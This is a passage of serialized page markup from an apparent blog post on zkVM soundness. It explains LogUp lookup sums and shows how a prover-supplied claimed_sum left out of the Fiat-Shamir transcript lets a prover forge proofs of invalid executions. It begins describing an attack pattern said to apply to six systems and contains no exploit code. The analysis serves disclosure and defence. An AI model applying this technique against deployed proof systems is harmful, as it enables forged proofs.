1263,"children":111265},{"className":111264},[19172,111052],[],{"type":19,"tag":168,"props":111267,"children":111269},{"className":111268},[111057],[111270],{"type":19,"tag":168,"props":111271,"children":111273},{"className":111272},[1461,19097],[111274,111348],{"type":19,"tag":168,"props":111275,"children":111277},{"className":111276},[1466],[111278,111343],{"type":19,"tag":168,"props":111279,"children":111281},{"className":111280,"style":111070},[1471],[111282,111312,111323],{"type":19,"tag":168,"props":111283,"children":111284},{"style":111074},[111285,111289],{"type":19,"tag":168,"props":111286,"children":111288},{"className":111287,"style":109705},[1480],[],{"type":19,"tag":168,"props":111290,"children":111292},{"className":111291},[1486,1487,1488,1489],[111293],{"type":19,"tag":168,"props":111294,"children":111296},{"className":111295},[1439,1489],[111297,111302,111307],{"type":19,"tag":168,"props":111298,"children":111300},{"className":111299,"style":111091},[1439,19043,1489],[111301],{"type":24,"value":111094},{"type":19,"tag":168,"props":111303,"children":111305},{"className":111304},[1526,1489],[111306],{"type":24,"value":1500},{"type":19,"tag":168,"props":111308,"children":111310},{"className":111309},[1439,19043,1489],[111311],{"type":24,"value":621},{"type":19,"tag":168,"props":111313,"children":111314},{"style":111107},[111315,111319],{"type":19,"tag":168,"props":111316,"children":111318},{"className":111317,"style":109705},[1480],[],{"type":19,"tag":168,"props":111320,"children":111322},{"className":111321,"style":111117},[111116],[],{"type":19,"tag":168,"props":111324,"children":111325},{"style":111121},[111326,111330],{"type":19,"tag":168,"props":111327,"children":111329},{"className":111328,"style":109705},[1480],[],{"type":19,"tag":168,"props":111331,"children":111333},{"className":111332},[1486,1487,1488,1489],[111334],{"type":19,"tag":168,"props":111335,"children":111337},{"className":111336},[1439,1489],[111338],{"type":19,"tag":168,"props":111339,"children":111341},{"className":111340},[1439,1489],[111342],{"type":24,"value":1442},{"type":19,"tag":168,"props":111344,"children":111346},{"className":111345},[19200],[111347],{"type":24,"value":19203},{"type":19,"tag":168,"props":111349,"children":111351},{"className":111350},[1466],[111352],{"type":19,"tag":168,"props":111353,"children":111355},{"className":111354,"style":111152},[1471],[111356],{"type":19,"tag":168,"props":111357,"children":111358},{},[],{"type":19,"tag":168,"props":111360,"children":111362},{"className":111361},[19194,111052],[],{"type":19,"tag":20,"props":111364,"children":111365},{},[111366,111368,111393],{"type":24,"value":111367},"for random challenge ",{"type":19,"tag":27,"props":111369,"children":111371},{"className":111370},[1411,1412],[111372],{"type":19,"tag":168,"props":111373,"children":111375},{"className":111374},[1417],[111376],{"type":19,"tag":168,"props":111377,"children":111379},{"className":111378,"ariaHidden":1423},[1422],[111380],{"type":19,"tag":168,"props":111381,"children":111383},{"className":111382},[1428],[111384,111388],{"type":19,"tag":168,"props":111385,"children":111387},{"className":111386,"style":108375},[1433],[],{"type":19,"tag":168,"props":111389,"children":111391},{"className":111390,"style":111091},[1439,19043],[111392],{"type":24,"value":111094},{"type":24,"value":111394},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":19,"tag":20,"props":111396,"children":111397},{},[111398,111403],{"type":19,"tag":51,"props":111399,"children":111400},{},[111401],{"type":24,"value":111402},"In zkVMs:",{"type":24,"value":111404}," Different components emit and consume lookup tuples:",{"type":19,"tag":43,"props":111406,"children":111407},{},[111408,111495],{"type":19,"tag":47,"props":111409,"children":111410},{},[111411,111413,111439,111441,111466,111468,111494],{"type":24,"value":111412},"CPU emits: \"I read value ",{"type":19,"tag":27,"props":111414,"children":111416},{"className":111415},[1411,1412],[111417],{"type":19,"tag":168,"props":111418,"children":111420},{"className":111419},[1417],[111421],{"type":19,"tag":168,"props":111422,"children":111424},{"className":111423,"ariaHidden":1423},[1422],[111425],{"type":19,"tag":168,"props":111426,"children":111428},{"className":111427},[1428],[111429,111433],{"type":19,"tag":168,"props":111430,"children":111432},{"className":111431,"style":108375},[1433],[],{"type":19,"tag":168,"props":111434,"children":111436},{"className":111435,"style":91021},[1439,19043],[111437],{"type":24,"value":111438},"v",{"type":24,"value":111440}," from address ",{"type":19,"tag":27,"props":111442,"children":111444},{"className":111443},[1411,1412],[111445],{"type":19,"tag":168,"props":111446,"children":111448},{"className":111447},[1417],[111449],{"type":19,"tag":168,"props":111450,"children":111452},{"className":111451,"ariaHidden":1423},[1422],[111453],{"type":19,"tag":168,"props":111454,"children":111456},{"className":111455},[1428],[111457,111461],{"type":19,"tag":168,"props":111458,"children":111460},{"className":111459,"style":108375},[1433],[],{"type":19,"tag":168,"props":111462,"children":111464},{"className":111463},[1439,19043],[111465],{"type":24,"value":269},{"type":24,"value":111467}," at time ",{"type":19,"tag":27,"props":111469,"children":111471},{"className":111470},[1411,1412],[111472],{"type":19,"tag":168,"props":111473,"children":111475},{"className":111474},[1417],[111476],{"type":19,"tag":168,"props":111477,"children":111479},{"className":111478,"ariaHidden":1423},[1422],[111480],{"type":19,"tag":168,"props":111481,"children":111483},{"className":111482},[1428],[111484,111489],{"type":19,"tag":168,"props":111485,"children":111488},{"className":111486,"style":111487},[1433],"height:0.6151em;",[],{"type":19,"tag":168,"props":111490,"children":111492},{"className":111491},[1439,19043],[111493],{"type":24,"value":19185},{"type":24,"value":17514},{"type":19,"tag":47,"props":111496,"children":111497},{},[111498,111500,111525,111527,111552,111554,111579],{"type":24,"value":111499},"Memory table consumes: \"At time ",{"type":19,"tag":27,"props":111501,"children":111503},{"className":111502},[1411,1412],[111504],{"type":19,"tag":168,"props":111505,"children":111507},{"className":111506},[1417],[111508],{"type":19,"tag":168,"props":111509,"children":111511},{"className":111510,"ariaHidden":1423},[1422],[111512],{"type":19,"tag":168,"props":111513,"children":111515},{"className":111514},[1428],[111516,111520],{"type":19,"tag":168,"props":111517,"children":111519},{"className":111518,"style":111487},[1433],[],{"type":19,"tag":168,"props":111521,"children":111523},{"className":111522},[1439,19043],[111524],{"type":24,"value":19185},{"type":24,"value":111526},", address ",{"type":19,"tag":27,"props":111528,"children":111530},{"className":111529},[1411,1412],[111531],{"type":19,"tag":168,"props":111532,"children":111534},{"className":111533},[1417],[111535],{"type":19,"tag":168,"props":111536,"children":111538},{"className":111537,"ariaHidden":1423},[1422],[111539],{"type":19,"tag":168,"props":111540,"children":111542},{"className":111541},[1428],[111543,111547],{"type":19,"tag":168,"props":111544,"children":111546},{"className":111545,"style":108375},[1433],[],{"type":19,"tag":168,"props":111548,"children":111550},{"className":111549},[1439,19043],[111551],{"type":24,"value":269},{"type":24,"value":111553}," contained ",{"type":19,"tag":27,"props":111555,"children":111557},{"className":111556},[1411,1412],[111558],{"type":19,"tag":168,"props":111559,"children":111561},{"className":111560},[1417],[111562],{"type":19,"tag":168,"props":111563,"children":111565},{"className":111564,"ariaHidden":1423},[1422],[111566],{"type":19,"tag":168,"props":111567,"children":111569},{"className":111568},[1428],[111570,111574],{"type":19,"tag":168,"props":111571,"children":111573},{"className":111572,"style":108375},[1433],[],{"type":19,"tag":168,"props":111575,"children":111577},{"className":111576,"style":91021},[1439,19043],[111578],{"type":24,"value":111438},{"type":24,"value":17514},{"type":19,"tag":20,"props":111581,"children":111582},{},[111583],{"type":24,"value":111584},"If everything balances, the execution is consistent.",{"type":19,"tag":20,"props":111586,"children":111587},{},[111588,111593],{"type":19,"tag":51,"props":111589,"children":111590},{},[111591],{"type":24,"value":111592},"The claimed_sum:",{"type":24,"value":111594}," Each component computes its contribution to the LogUp sum:",{"type":19,"tag":20,"props":111596,"children":111597},{},[111598],{"type":19,"tag":27,"props":111599,"children":111601},{"className":111600},[1411,1412],[111602],{"type":19,"tag":168,"props":111603,"children":111605},{"className":111604},[1417],[111606],{"type":19,"tag":168,"props":111607,"children":111609},{"className":111608,"ariaHidden":1423},[1422],[111610,111708,111959],{"type":19,"tag":168,"props":111611,"children":111613},{"className":111612},[1428],[111614,111618,111628,111633,111695,111699,111704],{"type":19,"tag":168,"props":111615,"children":111617},{"className":111616,"style":91948},[1433],[],{"type":19,"tag":168,"props":111619,"children":111621},{"className":111620},[1439,24],[111622],{"type":19,"tag":168,"props":111623,"children":111625},{"className":111624},[1439],[111626],{"type":24,"value":111627},"claimed",{"type":19,"tag":168,"props":111629,"children":111631},{"className":111630,"style":90535},[1439],[111632],{"type":24,"value":476},{"type":19,"tag":168,"props":111634,"children":111636},{"className":111635},[1439],[111637,111646],{"type":19,"tag":168,"props":111638,"children":111640},{"className":111639},[1439,24],[111641],{"type":19,"tag":168,"props":111642,"children":111644},{"className":111643},[1439],[111645],{"type":24,"value":74121},{"type":19,"tag":168,"props":111647,"children":111649},{"className":111648},[1456],[111650],{"type":19,"tag":168,"props":111651,"children":111653},{"className":111652},[1461,19097],[111654,111684],{"type":19,"tag":168,"props":111655,"children":111657},{"className":111656},[1466],[111658,111679],{"type":19,"tag":168,"props":111659,"children":111661},{"className":111660,"style":91064},[1471],[111662],{"type":19,"tag":168,"props":111663,"children":111665},{"style":111664},"top:-2.55em;margin-right:0.05em;",[111666,111670],{"type":19,"tag":168,"props":111667,"children":111669},{"className":111668,"style":1481},[1480],[],{"type":19,"tag":168,"props":111671,"children":111673},{"className":111672},[1486,1487,1488,1489],[111674],{"type":19,"tag":168,"props":111675,"children":111677},{"className":111676},[1439,19043,1489],[111678],{"type":24,"value":1157},{"type":19,"tag":168,"props":111680,"children":111682},{"className":111681},[19200],[111683],{"type":24,"value":19203},{"type":19,"tag":168,"props":111685,"children":111687},{"className":111686},[1466],[111688],{"type":19,"tag":168,"props":111689,"children":111691},{"className":111690,"style":90618},[1471],[111692],{"type":19,"tag":168,"props":111693,"children":111694},{},[],{"type":19,"tag":168,"props":111696,"children":111698},{"className":111697,"style":1618},[1520],[],{"type":19,"tag":168,"props":111700,"children":111702},{"className":111701},[1623],[111703],{"type":24,"value":486},{"type":19,"tag":168,"props":111705,"children":111707},{"className":111706,"style":1618},[1520],[],{"type":19,"tag":168,"props":111709,"children":111711},{"className":111710},[1428],[111712,111717,111777,111781,111946,111950,111955],{"type":19,"tag":168,"props":111713,"children":111716},{"className":111714,"style":111715},[1433],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":19,"tag":168,"props":111718,"children":111720},{"className":111719},[19079],[111721,111726],{"type":19,"tag":168,"props":111722,"children":111724},{"className":111723,"style":19086},[19079,19084,19085],[111725],{"type":24,"value":106329},{"type":19,"tag":168,"props":111727,"children":111729},{"className":111728},[1456],[111730],{"type":19,"tag":168,"props":111731,"children":111733},{"className":111732},[1461,19097],[111734,111765],{"type":19,"tag":168,"props":111735,"children":111737},{"className":111736},[1466],[111738,111760],{"type":19,"tag":168,"props":111739,"children":111742},{"className":111740,"style":111741},[1471],"height:0.162em;",[111743],{"type":19,"tag":168,"props":111744,"children":111745},{"style":19110},[111746,111750],{"type":19,"tag":168,"props":111747,"children":111749},{"className":111748,"style":1481},[1480],[],{"type":19,"tag":168,"props":111751,"children":111753},{"className":111752},[1486,1487,1488,1489],[111754],{"type":19,"tag":168,"props":111755,"children":111758},{"className":111756,"style":111757},[1439,19043,1489],"margin-right:0.05724em;",[111759],{"type":24,"value":6094},{"type":19,"tag":168,"props":111761,"children":111763},{"className":111762},[19200],[111764],{"type":24,"value":19203},{"type":19,"tag":168,"props":111766,"children":111768},{"className":111767},[1466],[111769],{"type":19,"tag":168,"props":111770,"children":111773},{"className":111771,"style":111772},[1471],"height:0.4358em;",[111774],{"type":19,"tag":168,"props":111775,"children":111776},{},[],{"type":19,"tag":168,"props":111778,"children":111780},{"className":111779,"style":1559},[1520],[],{"type":19,"tag":168,"props":111782,"children":111784},{"className":111783},[1439],[111785,111789,111942],{"type":19,"tag":168,"props":111786,"children":111788},{"className":111787},[19172,111052],[],{"type":19,"tag":168,"props":111790,"children":111792},{"className":111791},[111057],[111793],{"type":19,"tag":168,"props":111794,"children":111796},{"className":111795},[1461,19097],[111797,111930],{"type":19,"tag":168,"props":111798,"children":111800},{"className":111799},[1466],[111801,111925],{"type":19,"tag":168,"props":111802,"children":111804},{"className":111803,"style":111070},[1471],[111805,111894,111905],{"type":19,"tag":168,"props":111806,"children":111807},{"style":111074},[111808,111812],{"type":19,"tag":168,"props":111809,"children":111811},{"className":111810,"style":109705},[1480],[],{"type":19,"tag":168,"props":111813,"children":111815},{"className":111814},[1486,1487,1488,1489],[111816],{"type":19,"tag":168,"props":111817,"children":111819},{"className":111818},[1439,1489],[111820,111825,111830],{"type":19,"tag":168,"props":111821,"children":111823},{"className":111822,"style":111091},[1439,19043,1489],[111824],{"type":24,"value":111094},{"type":19,"tag":168,"props":111826,"children":111828},{"className":111827},[1526,1489],[111829],{"type":24,"value":1500},{"type":19,"tag":168,"props":111831,"children":111833},{"className":111832},[1439,1489],[111834,111843],{"type":19,"tag":168,"props":111835,"children":111837},{"className":111836},[1439,24,1489],[111838],{"type":19,"tag":168,"props":111839,"children":111841},{"className":111840},[1439,1489],[111842],{"type":24,"value":59493},{"type":19,"tag":168,"props":111844,"children":111846},{"className":111845},[1456],[111847],{"type":19,"tag":168,"props":111848,"children":111850},{"className":111849},[1461,19097],[111851,111882],{"type":19,"tag":168,"props":111852,"children":111854},{"className":111853},[1466],[111855,111877],{"type":19,"tag":168,"props":111856,"children":111859},{"className":111857,"style":111858},[1471],"height:0.3281em;",[111860],{"type":19,"tag":168,"props":111861,"children":111863},{"style":111862},"top:-2.357em;margin-right:0.0714em;",[111864,111868],{"type":19,"tag":168,"props":111865,"children":111867},{"className":111866,"style":106394},[1480],[],{"type":19,"tag":168,"props":111869,"children":111871},{"className":111870},[1486,106399,106400,1489],[111872],{"type":19,"tag":168,"props":111873,"children":111875},{"className":111874,"style":111757},[1439,19043,1489],[111876],{"type":24,"value":6094},{"type":19,"tag":168,"props":111878,"children":111880},{"className":111879},[19200],[111881],{"type":24,"value":19203},{"type":19,"tag":168,"props":111883,"children":111885},{"className":111884},[1466],[111886],{"type":19,"tag":168,"props":111887,"children":111890},{"className":111888,"style":111889},[1471],"height:0.2819em;",[111891],{"type":19,"tag":168,"props":111892,"children":111893},{},[],{"type":19,"tag":168,"props":111895,"children":111896},{"style":111107},[111897,111901],{"type":19,"tag":168,"props":111898,"children":111900},{"className":111899,"style":109705},[1480],[],{"type":19,"tag":168,"props":111902,"children":111904},{"className":111903,"style":111117},[111116],[],{"type":19,"tag":168,"props":111906,"children":111907},{"style":111121},[111908,111912],{"type":19,"tag":168,"props":111909,"children":111911},{"className":111910,"style":109705},[1480],[],{"type":19,"tag":168,"props":111913,"children":111915},{"className":111914},[1486,1487,1488,1489],[111916],{"type":19,"tag":168,"props":111917,"children":111919},{"className":111918},[1439,1489],[111920],{"type":19,"tag":168,"props":111921,"children":111923},{"className":111922},[1439,1489],[111924],{"type":24,"value":1442},{"type":19,"tag":168,"props":111926,"children":111928},{"className":111927},[19200],[111929],{"type":24,"value":19203},{"type":19,"tag":168,"props":111931,"children":111933},{"className":111932},[1466],[111934],{"type":19,"tag":168,"props":111935,"children":111938},{"className":111936,"style":111937},[1471],"height:0.5423em;",[111939],{"type":19,"tag":168,"props":111940,"children":111941},{},[],{"type":19,"tag":168,"props":111943,"children":111945},{"className":111944},[19194,111052],[],{"type":19,"tag":168,"props":111947,"children":111949},{"className":111948,"style":1521},[1520],[],{"type":19,"tag":168,"props":111951,"children":111953},{"className":111952},[1526],[111954],{"type":24,"value":1500},{"type":19,"tag":168,"props":111956,"children":111958},{"className":111957,"style":1521},[1520],[],{"type":19,"tag":168,"props":111960,"children":111962},{"className":111961},[1428],[111963,111968,112026,112030],{"type":19,"tag":168,"props":111964,"children":111967},{"className":111965,"style":111966},[1433],"height:1.296em;vertical-align:-0.4509em;",[],{"type":19,"tag":168,"props":111969,"children":111971},{"className":111970},[19079],[111972,111977],{"type":19,"tag":168,"props":111973,"children":111975},{"className":111974,"style":19086},[19079,19084,19085],[111976],{"type":24,"value":106329},{"type":19,"tag":168,"props":111978,"children":111980},{"className":111979},[1456],[111981],{"type":19,"tag":168,"props":111982,"children":111984},{"className":111983},[1461,19097],[111985,112014],{"type":19,"tag":168,"props":111986,"children":111988},{"className":111987},[1466],[111989,112009],{"type":19,"tag":168,"props":111990,"children":111992},{"className":111991,"style":111206},[1471],[111993],{"type":19,"tag":168,"props":111994,"children":111995},{"style":19110},[111996,112000],{"type":19,"tag":168,"props":111997,"children":111999},{"className":111998,"style":1481},[1480],[],{"type":19,"tag":168,"props":112001,"children":112003},{"className":112002},[1486,1487,1488,1489],[112004],{"type":19,"tag":168,"props":112005,"children":112007},{"className":112006,"style":91964},[1439,19043,1489],[112008],{"type":24,"value":86173},{"type":19,"tag":168,"props":112010,"children":112012},{"className":112011},[19200],[112013],{"type":24,"value":19203},{"type":19,"tag":168,"props":112015,"children":112017},{"className":112016},[1466],[112018],{"type":19,"tag":168,"props":112019,"children":112022},{"className":112020,"style":112021},[1471],"height:0.2997em;",[112023],{"type":19,"tag":168,"props":112024,"children":112025},{},[],{"type":19,"tag":168,"props":112027,"children":112029},{"className":112028,"style":1559},[1520],[],{"type":19,"tag":168,"props":112031,"children":112033},{"className":112032},[1439],[112034,112038,112191],{"type":19,"tag":168,"props":112035,"children":112037},{"className":112036},[19172,111052],[],{"type":19,"tag":168,"props":112039,"children":112041},{"className":112040},[111057],[112042],{"type":19,"tag":168,"props":112043,"children":112045},{"className":112044},[1461,19097],[112046,112179],{"type":19,"tag":168,"props":112047,"children":112049},{"className":112048},[1466],[112050,112174],{"type":19,"tag":168,"props":112051,"children":112053},{"className":112052,"style":111070},[1471],[112054,112143,112154],{"type":19,"tag":168,"props":112055,"children":112056},{"style":111074},[112057,112061],{"type":19,"tag":168,"props":112058,"children":112060},{"className":112059,"style":109705},[1480],[],{"type":19,"tag":168,"props":112062,"children":112064},{"className":112063},[1486,1487,1488,1489],[112065],{"type":19,"tag":168,"props":112066,"children":112068},{"className":112067},[1439,1489],[112069,112074,112079],{"type":19,"tag":168,"props":112070,"children":112072},{"className":112071,"style":111091},[1439,19043,1489],[112073],{"type":24,"value":111094},{"type":19,"tag":168,"props":112075,"children":112077},{"className":112076},[1526,1489],[112078],{"type":24,"value":1500},{"type":19,"tag":168,"props":112080,"children":112082},{"className":112081},[1439,1489],[112083,112093],{"type":19,"tag":168,"props":112084,"children":112086},{"className":112085},[1439,24,1489],[112087],{"type":19,"tag":168,"props":112088,"children":112090},{"className":112089},[1439,1489],[112091],{"type":24,"value":112092},"consume",{"type":19,"tag":168,"props":112094,"children":112096},{"className":112095},[1456],[112097],{"type":19,"tag":168,"props":112098,"children":112100},{"className":112099},[1461,19097],[112101,112131],{"type":19,"tag":168,"props":112102,"children":112104},{"className":112103},[1466],[112105,112126],{"type":19,"tag":168,"props":112106,"children":112108},{"className":112107,"style":109866},[1471],[112109],{"type":19,"tag":168,"props":112110,"children":112112},{"style":112111},"top:-2.3488em;margin-right:0.0714em;",[112113,112117],{"type":19,"tag":168,"props":112114,"children":112116},{"className":112115,"style":106394},[1480],[],{"type":19,"tag":168,"props":112118,"children":112120},{"className":112119},[1486,106399,106400,1489],[112121],{"type":19,"tag":168,"props":112122,"children":112124},{"className":112123,"style":91964},[1439,19043,1489],[112125],{"type":24,"value":86173},{"type":19,"tag":168,"props":112127,"children":112129},{"className":112128},[19200],[112130],{"type":24,"value":19203},{"type":19,"tag":168,"props":112132,"children":112134},{"className":112133},[1466],[112135],{"type":19,"tag":168,"props":112136,"children":112139},{"className":112137,"style":112138},[1471],"height:0.1512em;",[112140],{"type":19,"tag":168,"props":112141,"children":112142},{},[],{"type":19,"tag":168,"props":112144,"children":112145},{"style":111107},[112146,112150],{"type":19,"tag":168,"props":112147,"children":112149},{"className":112148,"style":109705},[1480],[],{"type":19,"tag":168,"props":112151,"children":112153},{"className":112152,"style":111117},[111116],[],{"type":19,"tag":168,"props":112155,"children":112156},{"style":111121},[112157,112161],{"type":19,"tag":168,"props":112158,"children":112160},{"className":112159,"style":109705},[1480],[],{"type":19,"tag":168,"props":112162,"children":112164},{"className":112163},[1486,1487,1488,1489],[112165],{"type":19,"tag":168,"props":112166,"children":112168},{"className":112167},[1439,1489],[112169],{"type":19,"tag":168,"props":112170,"children":112172},{"className":112171},[1439,1489],[112173],{"type":24,"value":1442},{"type":19,"tag":168,"props":112175,"children":112177},{"className":112176},[19200],[112178],{"type":24,"value":19203},{"type":19,"tag":168,"props":112180,"children":112182},{"className":112181},[1466],[112183],{"type":19,"tag":168,"props":112184,"children":112187},{"className":112185,"style":112186},[1471],"height:0.4509em;",[112188],{"type":19,"tag":168,"props":112189,"children":112190},{},[],{"type":19,"tag":168,"props":112192,"children":112194},{"className":112193},[19194,111052],[],{"type":19,"tag":20,"props":112196,"children":112197},{},[112198,112200,112382],{"type":24,"value":112199},"The global check: ",{"type":19,"tag":27,"props":112201,"children":112203},{"className":112202},[1411,1412],[112204],{"type":19,"tag":168,"props":112205,"children":112207},{"className":112206},[1417],[112208],{"type":19,"tag":168,"props":112209,"children":112211},{"className":112210,"ariaHidden":1423},[1422],[112212,112369],{"type":19,"tag":168,"props":112213,"children":112215},{"className":112214},[1428],[112216,112220,112277,112281,112290,112295,112356,112360,112365],{"type":19,"tag":168,"props":112217,"children":112219},{"className":112218,"style":90477},[1433],[],{"type":19,"tag":168,"props":112221,"children":112223},{"className":112222},[19079],[112224,112229],{"type":19,"tag":168,"props":112225,"children":112227},{"className":112226,"style":19086},[19079,19084,19085],[112228],{"type":24,"value":106329},{"type":19,"tag":168,"props":112230,"children":112232},{"className":112231},[1456],[112233],{"type":19,"tag":168,"props":112234,"children":112236},{"className":112235},[1461,19097],[112237,112266],{"type":19,"tag":168,"props":112238,"children":112240},{"className":112239},[1466],[112241,112261],{"type":19,"tag":168,"props":112242,"children":112244},{"className":112243,"style":111741},[1471],[112245],{"type":19,"tag":168,"props":112246,"children":112247},{"style":19110},[112248,112252],{"type":19,"tag":168,"props":112249,"children":112251},{"className":112250,"style":1481},[1480],[],{"type":19,"tag":168,"props":112253,"children":112255},{"className":112254},[1486,1487,1488,1489],[112256],{"type":19,"tag":168,"props":112257,"children":112259},{"className":112258},[1439,19043,1489],[112260],{"type":24,"value":1157},{"type":19,"tag":168,"props":112262,"children":112264},{"className":112263},[19200],[112265],{"type":24,"value":19203},{"type":19,"tag":168,"props":112267,"children":112269},{"className":112268},[1466],[112270],{"type":19,"tag":168,"props":112271,"children":112273},{"className":112272,"style":112021},[1471],[112274],{"type":19,"tag":168,"props":112275,"children":112276},{},[],{"type":19,"tag":168,"props":112278,"children":112280},{"className":112279,"style":1559},[1520],[],{"type":19,"tag":168,"props":112282,"children":112284},{"className":112283},[1439,24],[112285],{"type":19,"tag":168,"props":112286,"children":112288},{"className":112287},[1439],[112289],{"type":24,"value":111627},{"type":19,"tag":168,"props":112291,"children":112293},{"className":112292,"style":90535},[1439],[112294],{"type":24,"value":476},{"type":19,"tag":168,"props":112296,"children":112298},{"className":112297},[1439],[112299,112308],{"type":19,"tag":168,"props":112300,"children":112302},{"className":112301},[1439,24],[112303],{"type":19,"tag":168,"props":112304,"children":112306},{"className":112305},[1439],[112307],{"type":24,"value":74121},{"type":19,"tag":168,"props":112309,"children":112311},{"className":112310},[1456],[112312],{"type":19,"tag":168,"props":112313,"children":112315},{"className":112314},[1461,19097],[112316,112345],{"type":19,"tag":168,"props":112317,"children":112319},{"className":112318},[1466],[112320,112340],{"type":19,"tag":168,"props":112321,"children":112323},{"className":112322,"style":91064},[1471],[112324],{"type":19,"tag":168,"props":112325,"children":112326},{"style":111664},[112327,112331],{"type":19,"tag":168,"props":112328,"children":112330},{"className":112329,"style":1481},[1480],[],{"type":19,"tag":168,"props":112332,"children":112334},{"className":112333},[1486,1487,1488,1489],[112335],{"type":19,"tag":168,"props":112336,"children":112338},{"className":112337},[1439,19043,1489],[112339],{"type":24,"value":1157},{"type":19,"tag":168,"props":112341,"children":112343},{"className":112342},[19200],[112344],{"type":24,"value":19203},{"type":19,"tag":168,"props":112346,"children":112348},{"className":112347},[1466],[112349],{"type":19,"tag":168,"props":112350,"children":112352},{"className":112351,"style":90618},[1471],[112353],{"type":19,"tag":168,"props":112354,"children":112355},{},[],{"type":19,"tag":168,"props":112357,"children":112359},{"className":112358,"style":1618},[1520],[],{"type":19,"tag":168,"props":112361,"children":112363},{"className":112362},[1623],[112364],{"type":24,"value":486},{"type":19,"tag":168,"props":112366,"children":112368},{"className":112367,"style":1618},[1520],[],{"type":19,"tag":168,"props":112370,"children":112372},{"className":112371},[1428],[112373,112377],{"type":19,"tag":168,"props":112374,"children":112376},{"className":112375,"style":91566},[1433],[],{"type":19,"tag":168,"props":112378,"children":112380},{"className":112379},[1439],[112381],{"type":24,"value":1452},{"type":24,"value":948},{"type":19,"tag":20,"props":112384,"children":112385},{},[112386,112391,112393,112399],{"type":19,"tag":51,"props":112387,"children":112388},{},[112389],{"type":24,"value":112390},"Why this is vulnerable:",{"type":24,"value":112392}," The ",{"type":19,"tag":27,"props":112394,"children":112396},{"className":112395},[],[112397],{"type":24,"value":112398},"claimed_sum",{"type":24,"value":112400}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":19,"tag":16245,"props":112402,"children":112403},{},[],{"type":19,"tag":36,"props":112405,"children":112407},{"id":112406},"the-universal-attack-pattern",[112408],{"type":24,"value":112409},"The Universal Attack Pattern",{"type":19,"tag":20,"props":112411,"children":112412},{},[112413],{"type":24,"value":112414},"Now we can describe the attack pattern that works on all six systems:",{"type":19,"tag":20,"props":112416,"children":112417},{},[112418],{"type":19,"tag":1344,"props":112419,"children":112422},{"alt":112420,"src":112421},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":19,"tag":20,"props":112424,"children":112425},{},[112426,112428,112453],{"type":24,"value":112427},"When a value ",{"type":19,"tag":27,"props":112429,"children":112431},{"className":112430},[1411,1412],[112432],{"type":19,"tag":168,"props":112433,"children":112435},{"className":112434},[1417],[112436],{"type":19,"tag":168,"props":112437,"children":112439},{"className":112438,"ariaHidden":1423},[1422],[112440],{"type":19,"tag":168,"props":112441,"children":112443},{"className":112442},[1428],[112444,112448],{"type":19,"tag":168,"props":112445,"children":112447},{"className":112446,"style":19038},[1433],[],{"type":19,"tag":168,"props":112449,"children":112451},{"className":112450,"style":105732},[1439,19043],[112452],{"type":24,"value":106056},{"type":24,"value":112454}," isn't transcript-bound:",{"type":19,"tag":2869,"props":112456,"children":112457},{},[112458,112489,112566,112711],{"type":19,"tag":47,"props":112459,"children":112460},{},[112461,112463,112488],{"type":24,"value":112462},"Challenges are fixed (independent of ",{"type":19,"tag":27,"props":112464,"children":112466},{"className":112465},[1411,1412],[112467],{"type":19,"tag":168,"props":112468,"children":112470},{"className":112469},[1417],[112471],{"type":19,"tag":168,"props":112472,"children":112474},{"className":112473,"ariaHidden":1423},[1422],[112475],{"type":19,"tag":168,"props":112476,"children":112478},{"className":112477},[1428],[112479,112483],{"type":19,"tag":168,"props":112480,"children":112482},{"className":112481,"style":19038},[1433],[],{"type":19,"tag":168,"props":112484,"children":112486},{"className":112485,"style":105732},[1439,19043],[112487],{"type":24,"value":106056},{"type":24,"value":524},{"type":19,"tag":47,"props":112490,"children":112491},{},[112492,112494],{"type":24,"value":112493},"The verification equation has form: ",{"type":19,"tag":27,"props":112495,"children":112497},{"className":112496},[1411,1412],[112498],{"type":19,"tag":168,"props":112499,"children":112501},{"className":112500},[1417],[112502],{"type":19,"tag":168,"props":112503,"children":112505},{"className":112504,"ariaHidden":1423},[1422],[112506,112547],{"type":19,"tag":168,"props":112507,"children":112509},{"className":112508},[1428],[112510,112514,112519,112524,112529,112534,112538,112543],{"type":19,"tag":168,"props":112511,"children":112513},{"className":112512,"style":1541},[1433],[],{"type":19,"tag":168,"props":112515,"children":112517},{"className":112516,"style":92889},[1439,19043],[112518],{"type":24,"value":30558},{"type":19,"tag":168,"props":112520,"children":112522},{"className":112521},[19172],[112523],{"type":24,"value":500},{"type":19,"tag":168,"props":112525,"children":112527},{"className":112526,"style":105732},[1439,19043],[112528],{"type":24,"value":106056},{"type":19,"tag":168,"props":112530,"children":112532},{"className":112531},[19194],[112533],{"type":24,"value":524},{"type":19,"tag":168,"props":112535,"children":112537},{"className":112536,"style":1618},[1520],[],{"type":19,"tag":168,"props":112539,"children":112541},{"className":112540},[1623],[112542],{"type":24,"value":486},{"type":19,"tag":168,"props":112544,"children":112546},{"className":112545,"style":1618},[1520],[],{"type":19,"tag":168,"props":112548,"children":112550},{"className":112549},[1428],[112551,112556],{"type":19,"tag":168,"props":112552,"children":112555},{"className":112553,"style":112554},[1433],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":19,"tag":168,"props":112557,"children":112559},{"className":112558},[1439,24],[112560],{"type":19,"tag":168,"props":112561,"children":112563},{"className":112562},[1439],[112564],{"type":24,"value":112565},"target",{"type":19,"tag":47,"props":112567,"children":112568},{},[112569,112570,112596,112598],{"type":24,"value":4916},{"type":19,"tag":27,"props":112571,"children":112573},{"className":112572},[1411,1412],[112574],{"type":19,"tag":168,"props":112575,"children":112577},{"className":112576},[1417],[112578],{"type":19,"tag":168,"props":112579,"children":112581},{"className":112580,"ariaHidden":1423},[1422],[112582],{"type":19,"tag":168,"props":112583,"children":112585},{"className":112584},[1428],[112586,112591],{"type":19,"tag":168,"props":112587,"children":112590},{"className":112588,"style":112589},[1433],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":19,"tag":168,"props":112592,"children":112594},{"className":112593,"style":92889},[1439,19043],[112595],{"type":24,"value":30558},{"type":24,"value":112597}," is linear: 